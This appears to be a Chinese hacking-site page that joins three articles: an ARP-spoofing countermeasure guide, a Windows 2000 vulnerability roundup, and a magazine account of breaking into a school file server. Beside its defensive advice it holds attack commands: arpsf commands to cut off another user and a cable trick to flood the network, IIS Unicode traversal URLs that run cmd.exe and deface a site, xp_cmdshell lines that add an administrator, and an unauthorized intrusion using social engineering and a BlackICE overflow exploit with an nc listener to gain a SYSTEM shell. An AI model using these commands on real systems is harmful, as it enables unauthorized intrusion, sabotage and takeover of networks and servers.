Hacker技术

非网管对付ARP欺骗的一个思路

非网管对付ARP欺骗的一个思路
首先不知道ARP欺骗的先参考其他文章,另外我不会详细地写具体过程,但是只要你自己动动手,一切都是那么简单。

ARP欺骗有两个目标,一种是欺骗网关,比如NETCUT,一种欺骗目标主机,比如你的电脑,对于欺骗目标主机的比如聚生网管,只要是XP系统,使用网关IP-MAC绑定后,他们都无法在对你进行欺骗,如果对方用IP地址冲突,那你装个防火墙就可以解决了。

麻烦的是用NETCUT等来欺骗网关的,因为你不是网管,否则直接在网关上绑定IP-MAC就行了,但是你现在除了一条网线连到交换机其他你没有任何可动的东西,你明明知道有人欺骗网关让你上不去网,但是你没有办法破解。

下面我介绍使用一个叫做ArpCheatSniffer V1.0的小软件,该软件可以嗅探和欺骗,我们主要用它的欺骗功能,这个软件发送ARP查询的速度要比NETCUT的快的多,所以当有人用NETCUT从网关上剪断你的时候,你就可以用这个DD向网关发送你的正确的MAC地址,也就是说你一直保持网关*的IP-MAC关系是正确的。

附件是ArpCheatSniffer V1.0

这个软件需要安装WINPCAP,附件中自带的WINPCAP好像只能用于2000的系统,XP似乎是不能读取网卡,我用NETCUT1.5自带安装的WINCAP就可以

对于XP系统的的使用,我建议先在网上找个1.5的NETCUT安装到你电脑,这样就会附带安装一个WINPCAP,至于 WINPCAP3.0和3.1,我测试了不行。

安装完WINPCAP,将附件中的arpsf.exe拷贝到比如C盘,然后用CMD打开命令台,在C:根目录下执行arpsf.exe(注意大小写),就会有该小工具的使用帮助,我们用的命令主要是

arpsf -onlycheat -t 受骗主机 -c 源IP 原MAC地址

然后读取网卡,你选择网卡号码,比如0,之后软件自动读取MAC地址并开始欺骗。

举例子,比如网关是192.168.0.1 我的主机地址是2,我的真实MAC是888888888888

当我被NETCUT剪掉的时候,我用这个工具让他一直发送真确的MAC地址给网关

就执行 arpsf -onlycheat -t 192.168.0.1 -c 192.168.0.2 888888888888

之后就可以正常上网了,NETCUT就拿你没办法了。

当然我们现在是用它来反欺骗,你也可以用它来欺骗网关,对破坏网络的人以牙还牙,或者比如破坏网络的人的MAC地址是666666666666,那你也可以这样剪掉它

arpsf -onlycheat -t 192.168.0.1 -c 10.10.10.10 666666666666

这个 10.10.10.10可以任意指定,只要不是特殊地址就可以,当然不能是那个倒霉蛋的真实IP。

下面是我运行arpsf欺骗网关的一个例子:

==========================

Microsoft Windows XP [版本 5.1.2600]
(C) 版权所有 1985-2001 Microsoft Corp.

C:\Documents and Settings\Administrator>cd\

C:\>arpsf -onlycheat -t 192.168.4.254 -c 192.168.4.52 333333333333

======================================================

Arp Cheat And Sniffer V1.0
powered by shadow @2005/5/8
my web:[URL="http://www.codehome.6600.0rg"]http://www.codehome.6600.0rg[/url]

======================================================

Windows ver is NT
0:\Device\Packet_{DBEF277B-BA37-41EE-889E-97E512B5F28B}
1:\Device\Packet_NdisWanIp
2:\Device\Packet_NdisWanBh

Please choose a adapter with num:0

Try to get Mac of [ 192.168.4.52 ]
This IP's MAc is: [ 00e04c54e56b ]
+OK:获取获取欺骗源真实mac地址成功!
Try to get Mac of [ 192.168.4.254 ]

-Can not get mac by netbios -_-
-Try to use ping to get mac...

Pinging 192.168.4.254 with 32 bytes of data:

Reply from 192.168.4.254: bytes=32 time<1ms TTL=255 Reply from 192.168.4.254: bytes=32 time<1ms TTL=255 Reply from 192.168.4.254: bytes=32 time<1ms TTL=255 Reply from 192.168.4.254: bytes=32 time<1ms TTL=255 Ping statistics for 192.168.4.254: Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), Approximate round trip times in milli-seconds: Minimum = 0ms, Maximum = 0ms, Average = 0ms +ping ok done... This IP's MAc is: [ 0015f973be00 ] +OK:获取目标mac地址成功! 欺骗源ip: 192.168.4.52 欺骗源mac: 333333333333 受骗主机: 192.168.4.254 受骗的mac: 0015f973be00 -->开始欺骗主机...
................................................................................
......^C
C:\>

================================

只要不关掉窗口,欺骗/反欺骗就一直进行下去。

最后附上怎么去检测是你主机被欺骗了还是网关被欺骗了

运行arp -a 查看记录,如果发现网关指向的地址不是真实的网关地址,那么你主机就是被人欺骗了,甚至你可以看到有两个IP都是这个地址,那这个IP就是那个破坏者。

如果主机没有被欺骗还是上不了网

那么你ping -t 网关,如果这时候能通,那可能是网关上有什么限制不能上网,没办法搞,如果不通,网关又是开着的,那么你可以再打开一个窗口用arp -d删掉arp缓存记录,这样你ping 网关的时候你电脑会向网关发送arp请求,如果是因为网关被人欺骗,那么在你删掉缓存后的几个ICMP包是可以正确地从网关返回来的,也就是ping 通了,几个数据包后又断了(因为有人一直在欺骗网关),然后再删除缓存,又可以通几秒钟。

有时候也许那个破坏者是网管,你也可以尝试修改你的网卡地址和IP地址然后再进行。

最后,教个更绝的办法,做个水晶头,将1、3脚和2、6脚分别短接,然后用直通的水晶头转换器(不知道怎么叫,就是两边都是RJ45座的那种)将你的网线和这个特殊的水晶头连起来,哼,不让上网?那么大家都不要上了,这个是死循环啊要被鞭笞的,整个网络都是网络风暴,什么黑客什么欺骗什么攻击统统无用,当然自己也不能用网络了,而且后果可能是你的网线被网管从交换机上拔下来并警告通缉!!一般情况千万不要这样做,如果有重要的数据业务那你惹祸就大了。到时候我可不说这是我告诉你的。

系统安全系列之Windows 2000漏洞集锦

对于Windows 2000的强大的功能和全新的构架我们都不得不叹服微软的实力,可以预见Windows 2000将成为新一代服务器操作系统的主流,同时也成为黑客攻击的对象。但是由于新的Windows2000的全新构架很大程度都依赖于Active Directory(又称之为AD),这使得许许多多的管理员在忙于适应新的操作系统,和对原来的资料进行系统的迁移,而对Windows 2000的安全性问题还没有引起足够重视。

本文详细介绍黑客在攻击Windows 2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只有绝对愚蠢的管理员。”只要我们的网络管理员能够细心地维护系统,相信黑客们是没有可乘之机的。

登陆输入法漏洞

这里我们首先介绍一个登录错误,也就是常说的输入法漏洞。当我们启动Windows2000进行到登录验证的提示界面时,任何用户都可以打开各种输入法的帮助栏,并且可以利用其中具有的一些功能访问文件系统,这也就是说我们可以绕过了Windows2000的用户登录验证机制,并且能以最高管理员权限访问整个系统。所以说这个漏洞的危害性是很大的,而且当我们进入系统后,还可以利用Terminal

Server远程通信这个漏洞对系统进行攻击。默认的Windows2000系统自带的输入法中有这个漏洞的是:智能ABC,微软拼音,内码,全拼,双拼,郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。

1、把不需要的输入法删除掉,例如郑码等。

2、但是毕竟我们不能把所有的自带输入法都删除,如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在win2000的安装目录下(如:C:\WINNT)的\help目录下,对应的帮助文件是:

※ WINIME.CHM 输入法操作指南
※ WINSP.CHM 双拼输入法帮助
※ WINZM.CHM 郑码输入法帮助
※ WINPY.CHM 全拼输入法帮助
※ WINGB.CHM 内码输入法帮助

3、微软公司对于此问题发布了MS00-069安全公告,并在互联网上给出了简体中文Windows2000和英文版Windows2000的补丁。所以请尽快打上补丁。

NetBIOS的信息泄漏

接下来我们谈一下NetBIOS的共享入侵.这个问题从NT刚发行到现在就从来没有解决。而且它一直由来都是NT系统构架最常见的入侵手段。特别值得一提的就是那个IPC$Null session(空会话)在NT系统里都是已知的安全隐患。虽然打了SP3后可以通过修改注册表来对其进行限制。但不知道为什么Windows2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息:

net use \\server\IPC$ "" /user:"" //此命令用来建立一个空会话
net view \\server //此命令用来查看远程服务器的共享资源
服务器名称      注释
-------------------------------------------------------
\\pc1
\\pc2
命令成功完成。
net time \\server //此命令用来得到一个远程服务器的当前时间。
nbtstat -A server //此命令用来得到远程服务器的NetBIOS用户名字表
NetBIOS Remote Machine Name Table
Name Type Status
---------------------------------------------
NULL <00> UNIQUE Registered
NULL <20> UNIQUE Registered
INTERNET <00> GROUP Registered
XIXI <03> UNIQUE Registered
INet~Services <1C> GROUP Registered
IS~NULL...... <00> UNIQUE Registered
INTERNET <1E> GROUP Registered
ADMINISTATOR <03> UNIQUE Registered
INTERNET <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MAC Address = 00-54-4F-34-D8-80

看看,只不过用了几个系统自带的命令就得到了如此多的信息,那么我们有什么办法可以不让别人轻易得到这么多信息哪?

仅靠单纯的修改注册表是一劳永逸的。

HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA
Value Name: RestrictAnonymous
Data Type: REG_DWORD
Value: 1

但如果一些服务你并不需要开放共享的话。那为什么不禁止它呢?在Windows2000里的方法和NT4的略有不同。它没有限制TCP/IP绑定在NetBISO上,但是我们可以在Internet协议(TCP/IP)属性的设置面板里选取高级(V)选项,然后选择TCP/IP 筛选,接着点选启用TCP/IP筛选,最后在TCP端口点选只允许,然后就可以添加你所想开放的服务的端口了。

奇怪的系统崩溃特性

此外Windows 2000有一个比较奇怪的特性,使用系统的终端用户可以通过按住右Ctrl,同时Press两次Scrool Lock按键,就轻易可以让整个Windows2000系统完全的崩溃。但同时又在C:\WinNT\下dump完整的当前系统内存记录,内存记录文件名是memory.dmp。当然,这个奇怪的特性默认状态下是关闭的,但是我们可以通过修改注册表的方法把它激活:

1、运行regedt32.exe (Windows2000的32位注册表编辑器);

2、选择主键HKEY_LOCAL_MACHINE\,然后找到SYSTEM\下的CurrentControlSet\,选择Services\,进入i8042prt\中的Parameters

3、新建一个双字节值;

4、将键名为CrashOnCtrlScroll;

5、然后在设置一个不为零的值;

6、退出重启。

当这一切做完后,你就可以尝试让系统崩溃了,按下按键后的效果为黑屏,将会出现以下信息:

*** STOP: 0x000000E2 (0x00000000,0x00000000,0x00000000,0x00000000)
The end-user manually generated the crashdump.

值得注意的是,这个奇怪的特性在WindowsNT4中也存在,不知道是不是微软程序员作测试的一个小功能。不过要是有黑客或者病毒利用它,也是很危险的。

Telnet的拒绝服务攻击

Windows中的Telnet一直以来都是网络管理员们最喜爱的网络实用工具之一,但是一个新的漏洞表明,在Windows2000中Telnet在守护其进程时,在已经被初始化的会话还未被复位的情况下很容易受到一种普通的拒绝服务攻击。而在2000年的2月份,拒绝服务攻击几乎成为了所有大型网站的恶梦。

Telnet连接后,在初始化的对话还未被复位的情况下,在一定的时间间隔之后,此时如果连接用户还没有提供登录的用户名及密码,Telnet的对话将会超时。直到用户输入一个字符之后连接才会被复位。如果恶意用户连接到Windows2000的Telnet守护进程中,并且对该连接不进行复位的话,他就可以有效地拒绝其他的任何用户连接该Telnet服务器,主要是因为此时Telnet的客户连接数的最大值是1。在此期间任何其他试图连接该Telnet服务器的用户都将会收到如下错误信息:

Microsoft Windows Workstation allows only 1 Telnet Client LicenseServer has closed
connection

察看“列出当前用户”选项时并不会显示超时的会话,因为该会话还没有成功地通过认证。

IIS服务泄漏文件内容

这是一个NSFOCUS安全小组发现的漏洞。当微软IIS 4.0/5.0(远东地区版本)在处理包含有不完整的双字节编码字符的HTTP命令请求时,会导致WEB目录下的文件内容被泄漏给远程攻击者。

Microsoft IIS远东地区版本包括中文(简体/繁体),日文,韩文版,由于特定的文字格式使它们都是使用的双字节编码格式。而当IIS接收到用户提交的一个HTTP请求时,如果文件名中包含非ASCII字符,IIS会检查这个字符是否为双字节编码中的前导字符(例如,日文的前导字符包含两段字符:0x81-0x9F, 0xE0-0xFC)。如果是前导字符,它会继续检查下一个字符是否为结尾字符。如果没有下一个字符,IIS会简单地丢弃这个前导字符,因为它并没有构成一个完整的双字节编码。然而,这种处理将导致IIS打开不同的文件而不是用户在请求中指定的文件。

攻击者通过提交一个特殊格式的URL, 可以使IIS使用某个ISAPI动态链接库打开某种它所不能解释的类型的文件,并获得该文件的内容。依赖于系统安装的ISAPI应用程序的类型,攻击者可能获得WEB根目录或者虚拟目录下的文件内容,这些文件可以是普通文本文件(.asp, .ini, .asa等等),也可以是二进制文件(.exe等等)。

黑客们会使用Unicode的方法利用这个漏洞:

Unicode(统一的字符编码标准, 采用双字节对字符进行编码)可以说是近一段时期以来最为流行的攻击入侵手段,仅国内近期就有江民公司等几个大的网站被这种入侵手段攻击。那我们就来谈一下这个很容易的利用Unicode漏洞配合IIS的漏洞进行入侵吧。

上面我们提到过由于某些双字节的Windows2000在处理某些特殊字符时与英文版本不同,然而利用这种IIS的漏洞,攻击者就可以通过这些特殊字符绕过IIS的目录审计远程执行任意命令。

http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\

黑客们其实只要下面两句很简单的指令绕过IIS的审计就能够对网站的页面进行改写,所谓的黑了一个网站就是这么的简单。

http://server/scripts/..%c1%1c.. ... /cmd.exe?/c+copy+c:\winnt\system32
\cmd.exe+d:\inetpub\scripts\123.exe
http://server/scripts/123.exe?/c+echo+黑掉啦?+>+c:\inetpub\wwwroot\default.asp

这个问题已经在IIS 4.0 + SP6中得到解决,然而微软却让它在IIS 5.0中再度出现。

但该漏洞不会影响包括英语版在内的其他语言版本的IIS 4.0/5.0。

MS SQL Server的SA空密码攻击

在Windows2000中,企业级的用户一般都会用到另一个微软的产品,这个产品就是数据库管理软件 MS SQL Server,但是在与MS SQL Server配合使用中,我们发现了很多的问题。最后我们就简单讲一下安装了MS SQL Server的Windows2000的网络操作系统普遍面临的安全问题。

在安装MS SQL Server后,MS SQL Server会将产生一个默认的SA用户,而且初始密码在管理员没有设置的情况下为空。但是SA是SQL Server中非常重要的安全模块成员,这样一来黑客们就可以通过SQL Server的客户端进行数据库远程连接,然后再通过SQL的远程数据库管理命令xp_cmdshell stored procedure(扩展存储过程)来进行命令操作:

xp_cmdshell "net user id password /add"
Xp_cmdshell "net localgroup Administrators id /add"

就以上两条简单的命令入侵者就能在MS SQL Server的服务器上马上新建一个管理员级别的Administrators组的用户。所以我们这里提醒各位网管大人,在安装好SQL Server您需要做的第一件事就是把SA的空密码立即进行修改。这个问题就不要我告诉你应该在哪里改了吧?

而且在一般情况下,一些功能对管理员来说也是没有必要的。如果你不需要MS SQL Server 的xp_cmdshell(use sp_dropextendedproc "xp_cmdshell")这项功能就不要把xp_cmdshell extended stored proc(扩展存储过程)命令功能留着。

我们只需要在isql窗口中输入:

use master
sp_dropextendedproc 'xp_cmdshell'

然后打上Service Pack 3,这里提醒管理员们一下,一定要经常留意微软的补丁包文件,并且注意及时的把系统和软件更新到最新的补丁。

本文中我们讲述了几个近期来最为流行的漏洞和攻击方法,他们实现入侵是如此的方便,这里可有不少的网友会认为Windows2000是一个不安全的操作系统,但如果你这样的认为那就说明我的文章还没有写明白,所以在最后我要强调一下,只要我们常打补丁包,正确的给系统加设密码,我们的安全率就在85%左右。

《一次意外的入侵经历》

文章首发于《黑客X档案》杂志 转载请注意版权

1、 事出有因
最近学校新上了一台文件服务器,用于校园网内教师交换教案和资料共享之用。服务器正好放在我实验室隔壁,隔着玻璃就能看到。(可惜啊!可望不可及:-( )通过我多方打探,大体了解了服务器的网络设置,关键就在于服务器有两块网卡,一块居然和我们实验室相连(一开始不了解是为什么,事后才知道为了便于实验室的管理员远程管理!)一块与学校主干网相连。知道了这些手就痒痒了,更何况负责服务器安全配置的老师说他把机器配置得很无敌了!(汗!~这么具有挑战性啊~)

2、 初试身手

由于我本身就在实验室,所以当然用服务器实验室的那段ip最方便了,因此以下我说的ip都是指服务器和实验室同网段的ip。很容易获得了文件服务器的ip 为192.168.203.2,我的机器的ip为192.168.203.16。很自然地ping了一下,结果如下:
K:\mfm>ping 192.168.203.2

Pinging 192.168.203.2 with 32 bytes of data:

Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 Reply from 192.168.203.2: bytes=32 time<10ms TTL=128 居然可以ping得通!(难道没装防火墙?也许那个老师自信把所有漏洞都补上了,难道不怕我DDOS它?:-))。还是谨慎点好,我用了一贯测试防火墙的方法做进一步的检测在cmd下输入telnet 192.168.203.2 54321 大约经过了10几秒左右,出现下面的提示: K:\mfm>telnet 192.168.203.2 54321
正在连接到192.168.203.2...无法打开到主机的连接 在端口 54321 : 连接失败

我晕,根据经验肯定是有防火墙的!其实这个判断原理是很简单,你用telnet到目标主机的任意不存在端口,如果停留时间比较长后才出现连接不上的提示,那么几乎可以肯定对方装有防火墙了(或是其它包过滤设备)。但是有点奇怪,既然是防火墙为什么要允许ping呢?。不管它了,既然有了防火墙,那么先猜一下它可能开的端口吧。既然是文件服务器,估计ftp得开吧。连一下试试,如下:
 ftp: connect :连接超时

我倒。。。ftp端口也被屏蔽!不是文件服务器嘛。。不用ftp难道用……共享?!!不至于吧,这也太……现在只有两种可能,要么ftp端口被改了,这样我得进行大范围的端口扫描(关键会留下好多的扫描记录撒!~~)另一种可能就是服务器没有使用ftp来上传管理文件而是采用的共享,我选择了第二种,因为第一种不太现实。既然是用共享的话,那么139端口应该是开放的吧?
好我试一下,这里要用到一个工具hping,这个工具可以自己定制数据包,使用方法如下:
方法如下:
K:\mfm>hping
Compiled by Anarchy@hk20.com

Usage: hping [options] host

-h Show this help menu 显示帮助菜单
-v Show version number 显示软件版本号
-c Stop after count response packets. 收到多少个响应包后停止发包
-i Interval in X (seconds) or uX (micro seconds) 发包间隔时间以秒或毫秒
-M Set sequence number 设置包序列号
-a Spoof source address 伪造源IP地址
-p Destination port -p 目的端口
-s Source port 源端口
-R Set RST tcp flag 设置RST位
-S Set SYN tcp flag 设置SYN位
-A Set ACK tcp flag 设置ACK位
-F Set FIN tcp flag 设置FIN位
-P Set PSH tcp flag 设置PSH位
-U Set URG tcp flag 设置URG位

后面的中文是我加的说明,相信大家一看就知道怎么用了。说了用法,我们来看看如何操作了,在cmd下输入:hping -S -p 139 -c 3 192.168.203.2
意思向192.168.203.2的139端口发送SYN数据包(就是请求连接的包)响应3次就停止发包,结果如图一。

哈哈!有回应了,说明我的猜测没有错!果然是用了共享。下面该怎么办呢?暴力破解?我可没那闲工夫!怪不得那个老师如此得意啊,原来只开了个139,其它的要么关闭了,要么被防火墙给屏蔽了!这么少的入口,当然不可能了!我几乎要放弃了,但是我又很不情愿,已经分析到了这一步。。。无奈之中无意间打了如下命令:nbtstat -A 192.168.203.2
结果却让我大大的吃惊,
如图二!

居然可以netbios查询!!我一下子来了兴致,因为我以前研究过很多防火墙,大部分防火墙把安全等级调到高级后,即使你允许139等netbios端口开放那么也是无法进行netbios查询的!wait!好象只有最近研究一款防火墙的溢出漏洞时发现这款防火墙默认是允许netbios查询的!!那就是——BlackICE SERVER PROTECTION!!其实这真是巧合,我前天刚从天天安全网down的blackice,然后在securiteam.com看到的溢出代码和漏洞分析报告,真没想到这个文件服务器……等等,我还是最好再确认一下吧!可是我该如何进一步确认呢?从网上的漏洞分析报告来看,该漏洞是由于ISS产品中的协议分析模块(iis_pam1.dll)在处理ICQ v5协议中的SRV_META_USER命令字段的时候由于未能检测该字段的长度从而引起缓冲区溢出的。Blackvice没有开什么特定的管理端口,没有非常明显的特征,所以单凭技术是非常难以判断的……那么还是另辟新径吧!
三、无所不用其极
无敌(哭丧着脸):老师,救命啊!!!
老师:啥事啊?
无敌:最近机房里老是有人在莫名奇妙的扫描我设的网关啊!我都烦死了!
老师:这还不简单?垒个墙不就行了?
无敌:我……给您说实话吧,我对这方面真是一知半解的,我知道老师您在这方面很有研究,给条明路吧!
老师:我也只是多学了点而已(我汗。。这么经不起。。)你去网上找那个黑冰(就是blackice)服务器版的装上就可以了!
无敌:啊?没听说过啊!好用吗?
老师:当然好用了,我那服务器上就装的啊!(嘎嘎!~~~我差点跳起来)
无敌:谢谢,老师您真是高手!我马上去下去!再见!

社会工程学,任何时候任何地方,与技术相结合会有意想不到的结果。既然确认了目标系统的防火墙为blackice那么我们再看一下该漏洞涉及的blackice的版本吧,如下:

ISS RealSecure Network Sensor 7.0 XPU 22.9
ISS RealSecure Network Sensor 7.0 XPU 22.11
ISS RealSecure Network Sensor 7.0 XPU 22.10
ISS RealSecure Network Sensor 7.0 XPU 20.15
ISS RealSecure Server Sensor 7.0 XPU 22.9
ISS RealSecure Server Sensor 7.0 XPU 22.11
ISS RealSecure Server Sensor 7.0 XPU 22.10
ISS RealSecure Server Sensor 7.0 XPU 20.19
ISS RealSecure Server Sensor 7.0 XPU 20.18
ISS RealSecure Server Sensor 7.0 XPU 20.16
ISS BlackIce Server Protection 3.6 ccf
ISS BlackIce Server Protection 3.6 ccb
ISS BlackIce Server Protection 3.6 cbz
ISS BlackIce Server Protection 3.5 cdf
ISS BlackICE Agent for Server 3.6 ecf
ISS BlackICE Agent for Server 3.6 ecb
ISS BlackICE Agent for Server 3.6 eca
ISS BlackICE PC Protection 3.6 ccf
ISS BlackICE PC Protection 3.6 ccd
ISS BlackICE PC Protection 3.6 ccb
ISS BlackICE PC Protection 3.6 cbz
ISS BlackICE PC Protection 3.6 cbr
ISS Proventia A Series XPU 22.9
ISS Proventia A Series XPU 22.11
ISS Proventia A Series XPU 22.10
ISS Proventia A Series XPU 20.15
ISS Proventia G Series XPU 22.9
ISS Proventia G Series XPU 22.3
ISS Proventia G Series XPU 22.11
ISS Proventia G Series XPU 22.10
ISS Proventia M Series XPU 1.9
ISS Proventia M Series XPU 1.8
ISS Proventia M Series XPU 1.7
ISS Proventia M Series XPU 1.3

看到了吧,这么多东东都受那个漏洞的影响,不怕他不中!马上找出exploit来,该exploit是linux下编写的,要想在win下我们就要用cygwin来搞定它了!先把exploit复制到cygwin的home目录里文件名为blackhit.c,然后打开cygwin我们编译。
如图三。


OK!编译成功了,把cygwin目录下的bin目录里的cgywin1.dll和你编译好的blackhit.exe一起复制到一个目录里。准备工作做完了,我们看看手中的武器的使用方法,如下:
K:\mfm>blackhit
557iss_pam_exp - RealSecure / Blackice iss_pam1.dll remote overflow exploit
- Sam
compiled by 无敌最寂寞@ringz.org

blackhit

参数不多,blackhit 目标主机的ip 本地监听的ip 本地监听的端口。
OK!激动人心的时刻到了,再打开一个cmd,输入nc -v -l -p 518。然后另一个cmd输入blackhit 192.168.203.2 192.168.203.16 518。运行结果

如图四。

嘎嘎!!得到shell了,看看是什么权限哦!

如图五!

果然是system权限!真是说不出的心情,就这么意外的得到了权限,成功的入侵目标主机!

事情到此也就结束了,跟那个老师坦白后,我们两个都很尴尬,最后还是一起去喝了一顿酒!(不打不相识啊!^_^)

事后我又在实验室重新做了一次溢出测试,结果发现当溢出成功后,目标系统没有任何反应,但是防火墙就跟僵死在那,你也可以照常打开,设置防火墙。但是防火墙不会再记录任何入侵日志了!而且你只能重新启动机器才能恢复防火墙,我尝试停止防火墙的服务然后再启动服务,结果在启动的时候提示说“服务的实例已在运行中”说明在溢出的时候造成了服务进程blackd.exe假死的现象。所以只有重新启动才能恢复正常。

此次经历让我对防火墙产生了浓厚的兴趣,又接二连三的测试了不少防火墙的安全性,其中在测试天网防火墙的时候发现,尽管防火墙处于最高安全级别,但是利用hping一样可以绕过防火墙ping通后面的主机,具体方法就是将发送的数据包的ACK位或者FIN为置位,这样防火墙就放行了!由于此类问题不在本文的讨论范围内了,有兴趣的读者可以自行实验试一下!

4、 后记
写完这篇稿子我总算可以松一口气了,关于这个漏洞我再补充几句,其实类似这样的漏洞有很多比如想wsftp等的溢出漏洞,此类漏洞是可遇不可求的,你如果非要用这个漏洞去找寻什么肉鸡的话,那么我劝你还是别大海捞针了!
同时要说明的是ISS后续推出的ccg和cch版本的blackcie已经补上了此漏洞,请使用该防火墙的朋友赶紧升级吧!